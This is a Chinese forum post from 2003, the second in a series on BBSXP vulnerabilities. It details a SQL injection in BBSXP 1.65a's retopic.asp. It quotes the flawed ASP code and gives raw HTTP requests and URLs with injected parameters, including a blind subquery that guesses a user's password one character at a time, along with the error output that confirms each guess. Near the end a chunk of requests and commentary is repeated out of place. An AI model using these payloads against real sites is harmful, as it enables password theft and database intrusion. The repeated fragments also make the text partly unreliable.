请先登录 | 注册
MM0759.COM
BBSXP漏洞[倒着看二] - 文章首页返回版区
■标题:BBSXP漏洞[倒着看二]
■作者:林子野菇 [2003/8/8 21:23:59]

不得不说,这个BBSXP的缩进实在是混乱,前些天调试retopic.asp的时候,真是把我看得差点把键盘都砸了。简简单单的几个if..then..else..endif跨度大得跟什么似的,看得我头皮发麻,两腿抽筋,最后幸亏editplus里面可以ctrl+],不然真不知道最后要走多少弯路。嗯,伙死了……

retopic.asp行199开始是这样子写的,仍然用老夫的背心打堵,这种程度的漏洞,只有高中生会犯,嘻嘻……

if Request("retopicid")<>"" then
sql="select * from reforum where id="&Request("retopicid")&""
rs.Open sql,Conn
else
sql="select * from forum where ID="&Request("id")&" and forumid="&Request("forumid")&""
rs.Open sql,Conn
end if

要一口咬定这个是漏洞,光乱说是不行的。这个地方,我测试了一下,确实有问题,如果大家有时间,可以下一个1.65a版下来看看,很容易利用,当然,如果大家只对方法感兴趣的话,往下面看吧。不过长时间不去思考,脑袋会退化的,:-)。

粗略一看,可以提交retopicid或者提交id和forumid来利用。由分析的结果可以知道,12行到169行是一个大大的if语句,如果进入了这个条件的话,那么会被一个succeed()函数结束掉,所以要绕开这个条件。我们还是从NC过去正常的提交着手,如果你不太清楚过程,请参看这个系列的(一)。

GET /bbsxp/retopic.asp?retopicid=wahahaha HTTP/1.1
Referer: http://localhost/bbsxp/showtopic.asp?id=1&forumid=1&page=0
User-Agent: Mozilla/4.0 (compatible; MSIE 5.01; Windows NT 5.0)
Host: localhost
Connection: Keep-Alive
Cache-Control: no-cache
Cookie: eremite=0; now=2002%2D7%2D3+19%3A24%3A39; onlinetime=2002%2D7%2D3+19%3A18%3A27; username=never; userpass=FuckUSA!!; addmin=0; skins=3; ASPSESSIONIDGGGGGLAG=FKPFCAMCKHEMGDOMCPKKKDIH

出错了,呵呵,返回来的数据有“非法操作”的字样。看看源代码,原来犯了一个错误,forumid没有提交,马上改正!NC过去,提交如下数据:

GET /bbsxp/retopic.asp?forumid=1&retopicid=1%20and%201=1 HTTP/1.1
Referer: http://localhost/bbsxp/showtopic.asp?id=1&forumid=1&page=0
User-Agent: Mozilla/4.0 (compatible; MSIE 5.01; Windows NT 5.0)
Host: localhost
Connection: Keep-Alive
Cache-Control: no-cache
Cookie: eremite=0; now=2002%2D7%2D3+19%3A24%3A39; onlinetime=2002%2D7%2D3+19%3A18%3A27; username=never; userpass=FuckUSA!!; addmin=0; skins=3; ASPSESSIONIDGGGGGLAG=FKPFCAMCKHEMGDOMCPKKKDIH

哈哈,注入成功了吧?只要修改retopicid的值就可以慢慢的猜别人的密码了。其实要是提交id和forumid来利用,也是同样的方法,就不继续说了。一句话,写一个perl程序比较好,手工的话,呵呵……

其实还有一个简单的方法,用提交id和forumid来利用。先到对方的BBSXP注册登陆,这样浏览器就记录了很多东西,我们只要在地址栏里面就可以猜了。为了明明白白的知道是否猜对,我们可以利用一下这一句话:

if Request("quote")=1 then
content =rs("content")
quote="原文由 "&rs("username")&" 发表:"&vbCrlf&""&content&"

"
end if

我们在提交的地址中包含quote,猜测得正确的话,就可以看到引用的文章,猜错的话,就是500错误。例如:

http://localhost/bbsxp/retopic.asp?id=1%20and%201=(select%20count(*)%20from%20user%20where%20username='never'%20and%20right(left(userpass,3),1)='c')&forumid=1"e=1

这个注入的条件是真,也就是说never的密码第三位是c,返回的表单中包含了id为1的文章的内容。如果我的猜测错误,比如这样子:

http://localhost/bbsxp/retopic.asp?id=1%20and%201=(select%20count(*)%20from%20user%20where%20username='never'%20and%20right(left(userpass,3),1)='3')&forumid=1"e=1

返回给浏览器的信息就出现了错误,我的机器上是

ADODB.Field 错误 '800a0bcd'

BOF 或 EOF 中有一个是“真”,或者当前的记录已被删除,所需的操作要求一个当前的记录。

/bbsxp/retopic.asp,行212

呵呵,这是很容易分辨的,而且也很容易实现注入。


顺便说几句话,如果BBSXP的人看到这里的话,强烈建议你们区分开request.form和request.querystring,而不要图方便直接用request。至于原因,你们自己去想吧,呵呵

Control: no-cache
Cookie: eremite=0; now=2002%2D7%2D3+19%3A24%3A39; onlinetime=2002%2D7%2D3+19%3A18%3A27; username=never; userpass=FuckUSA!!; addmin=0; skins=3; ASPSESSIONIDGGGGGLAG=FKPFCAMCKHEMGDOMCPKKKDIH

出错了,呵呵,返回来的数据有“非法操作”的字样。看看源代码,原来犯了一个错误,forumid没有提交,马上改正!NC过去,提交如下数据:

GET /bbsxp/retopic.asp?forumid=1&retopicid=1%20and%201=1 HTTP/1.1
Referer: http://localhost/bbsxp/showtopic.asp?id=1&forumid=1&page=0
User-Agent: Mozilla/4.0 (compatible; MSIE 5.01; Windows NT 5.0)
Host: localhost
Connection: Keep-Alive
Cache-Control: no-cache
Cookie: eremite=0; now=2002%2D7%2D3+19%3A24%3A39; onlinetime=2002%2D7%2D3+19%3A18%3A27; username=never; userpass=FuckUSA!!; addmin=0; skins=3; ASPSESSIONIDGGGGGLAG=FKPFCAMCKHEMGDOMCPKKKDIH

哈哈,注入成功了吧?只要修改retopicid的值就可以慢慢的猜别人的密码了。其实要是提交id和forumid来利用,也是同样的方法,就不继续说了。一句话,写一个perl程序比较好,手工的

回复/版区/上篇/下篇/发贴/仅文字/HTML
【倒序/最近21条回复】(暂无)
(查看完整版网页)



短讯|首页|登录|算法|电脑版 .
DK MiniBBS Plus v2.0
mm0759.com
156 毫秒 .